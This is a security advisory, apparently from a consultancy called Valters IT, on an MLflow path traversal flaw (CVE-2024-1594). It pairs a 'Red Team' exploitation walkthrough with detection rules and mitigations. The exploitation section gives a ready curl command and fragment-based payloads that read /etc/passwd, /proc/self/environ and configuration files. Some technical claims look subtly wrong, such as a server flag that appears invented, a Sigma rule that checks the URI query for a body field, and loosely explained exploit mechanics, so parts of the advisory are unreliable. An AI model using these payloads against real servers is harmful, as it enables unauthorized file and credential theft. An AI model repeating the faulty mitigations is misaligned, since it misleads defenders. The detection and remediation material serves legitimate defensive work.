CVE-2024-1594

Executive Summary

CVE-2024-1594 is a path traversal vulnerability in the MLflow machine learning lifecycle platform. The flaw resides in the handling of the artifact_location parameter during experiment creation. By injecting a fragment component (#) into the artifact location URI, an unauthenticated attacker can read arbitrary files from the server's filesystem, potentially exposing sensitive data such as configuration files, credentials, or model artifacts. This vulnerability is similar to CVE-2023-6909 but leverages a different URI component to bypass existing protections. The CVSS score is 7.5 (High), with a low EPSS probability of 0.0%, indicating limited active exploitation at this time. No official patch has been released, and no public exploit code is available, though the vulnerability is considered publicly known.

Supply Chain & Package Security

MLflow is a Python package available on PyPI. Organizations using MLflow in their MLOps pipelines should treat this as a supply chain risk. The vulnerable component is the MLflow server, which may be deployed as a standalone service or integrated into CI/CD workflows. If the server is exposed to untrusted networks, an attacker could exfiltrate sensitive files, including model weights, training data, or cloud provider credentials. Users should verify their MLflow version and apply any available mitigations immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The vulnerability allows unauthenticated remote attackers to read arbitrary files, leading to a high confidentiality impact. No integrity or availability impact is present. The low EPSS score (0.0%) suggests that exploitation is not widespread, but the ease of exploitation and lack of patch make it a significant risk for exposed instances.

Deep Dive & Mechanics

The vulnerability exists in the MLflow server's experiment creation endpoint. When a user creates an experiment, they can specify an artifact_location URI. The server processes this URI to store artifacts. Due to improper input validation, an attacker can inject a fragment component (#) into the URI. In URI parsing, the fragment is typically used for client-side references and is not sent to the server. However, MLflow's implementation mishandles the fragment, allowing path traversal sequences (e.g., ../) to escape the intended artifact directory.

For example, an attacker could craft a request like:

POST /api/2.0/mlflow/experiments/create
{
  "name": "malicious_experiment",
  "artifact_location": "file:///var/artifacts/../../etc/passwd#"
}

The server would interpret the path after resolving the fragment, leading to reading /etc/passwd. This bypasses typical path traversal filters that only check for ../ sequences without considering URI components.

The vulnerability is similar to CVE-2023-6909, which used a query component (?) to achieve the same effect. CVE-2024-1594 uses the fragment component, indicating that the fix for the previous CVE was incomplete.

Vulnerable vs. Patched Code

The vulnerable code is in the experiment creation handler. A simplified example of the vulnerable logic:

# Vulnerable code (pseudo)
def create_experiment(name, artifact_location):
    # No validation of artifact_location for URI components
    path = urllib.parse.urlparse(artifact_location).path
    # Path traversal possible via fragment
    full_path = os.path.join(ARTIFACT_BASE_DIR, path)
    # Read or write files at full_path

A patched version would sanitize the URI by stripping or rejecting fragments and query components:

# Patched code (pseudo)
def create_experiment(name, artifact_location):
    parsed = urllib.parse.urlparse(artifact_location)
    if parsed.fragment or parsed.query:
        raise ValueError("Invalid artifact_location")
    path = parsed.path
    # Additional validation to prevent traversal
    if ".." in path or not os.path.abspath(path).startswith(ARTIFACT_BASE_DIR):
        raise ValueError("Invalid path")
    full_path = os.path.join(ARTIFACT_BASE_DIR, path)

As of this report, no official patch has been released. Users should monitor the MLflow repository for updates.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target MLflow server (e.g., running on http://target:5000)
• No authentication required (default configuration)

Exploitation Steps:

1. Identify the endpoint: The experiment creation endpoint is typically at /api/2.0/mlflow/experiments/create.

2. Craft the payload: Use a fragment component to bypass path restrictions. For example, to read /etc/passwd:

   {
     "name": "exploit_experiment",
     "artifact_location": "file:///var/artifacts/../../etc/passwd#"
   }
   

3. Send the request:

   curl -X POST http://target:5000/api/2.0/mlflow/experiments/create \
     -H "Content-Type: application/json" \
     -d '{"name": "exploit_experiment", "artifact_location": "file:///var/artifacts/../../etc/passwd#"}'
   

4. Retrieve the file: The server will respond with the contents of the file in the experiment details or artifact listing.

Alternative payloads:

• Read MLflow configuration: file:///var/artifacts/../../mlflow/config.yaml#
• Read environment variables: file:///var/artifacts/../../proc/self/environ#

Blue Team

Detection and Prevention:

1. Network Segmentation: Ensure MLflow servers are not exposed to the internet. Use firewalls to restrict access to trusted IPs.

2. Input Validation: Implement a reverse proxy (e.g., Nginx) to block requests containing # or .. in the artifact_location parameter.

3. Web Application Firewall (WAF): Deploy WAF rules to detect path traversal patterns. Example ModSecurity rule:

   SecRule ARGS:artifact_location "@contains #" "id:1001,deny,msg:'Path traversal attempt via fragment'"
   

4. Monitoring: Log all experiment creation requests and alert on suspicious artifact_location values.

5. Patch Management: Apply vendor patches as soon as they become available. In the interim, consider disabling the experiment creation endpoint if not needed.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /api/2.0/mlflow/experiments/create with artifact_location containing # or ..
  • Unusual file paths in artifact_location (e.g., /etc/passwd, /proc/self/environ)
• File System IOCs:
  • Unexpected files in the MLflow artifact directory (e.g., copies of /etc/passwd)
  • Modified timestamps on sensitive system files
• Log IOCs:
  • MLflow server logs showing errors related to path traversal or file access outside the artifact directory
  • Repeated failed attempts to create experiments with malformed URIs

Detection Engineering

YARA Rule

rule CVE_2024_1594_MLflow_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in MLflow artifact_location parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-1594"
    strings:
        $fragment = "#"
        $path_traversal = ".."
        $artifact_location = "artifact_location"
    condition:
        $artifact_location and ($fragment or $path_traversal)
}

Sigma Rule

title: MLflow Path Traversal via Fragment Component
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to MLflow experiment creation endpoint with suspicious artifact_location parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: mlflow
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/2.0/mlflow/experiments/create'
        cs-uri-query|contains: 'artifact_location'
    keywords:
        - '#'
        - '..'
    condition: selection and keywords
falsepositives:
    - Legitimate use of fragment in URI (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1594 MLflow Path Traversal Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/2.0/mlflow/experiments/create"; http_uri; content:"artifact_location"; http_client_body; pcre:"/(#|\.\.)/"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Mitigation:

   • Restrict network access to the MLflow server using firewalls or VPNs.
   • Disable the experiment creation endpoint if not required: mlflow server --no-create-experiment
   • Implement a reverse proxy to sanitize artifact_location parameters.

2. Long-term Fix:

   • Apply vendor patch when available. Monitor the MLflow GitHub repository for updates.
   • Upgrade to a patched version (e.g., >= 2.10.0 if patch is released).
   • Conduct a security audit of all URI parsing logic in the application.

3. Compensating Controls:

   • Use a Web Application Firewall (WAF) with rules to block path traversal patterns.
   • Enable detailed logging and alerting for experiment creation requests.
   • Implement file integrity monitoring on sensitive system files.

4. Vendor Communication:

   • Contact MLflow maintainers for patch status.
   • Subscribe to security advisories for MLflow.

Valters IT Signature:
This report is provided for authorized security testing and defensive purposes only. Unauthorized exploitation of CVE-2024-1594 is illegal. Always obtain proper authorization before testing.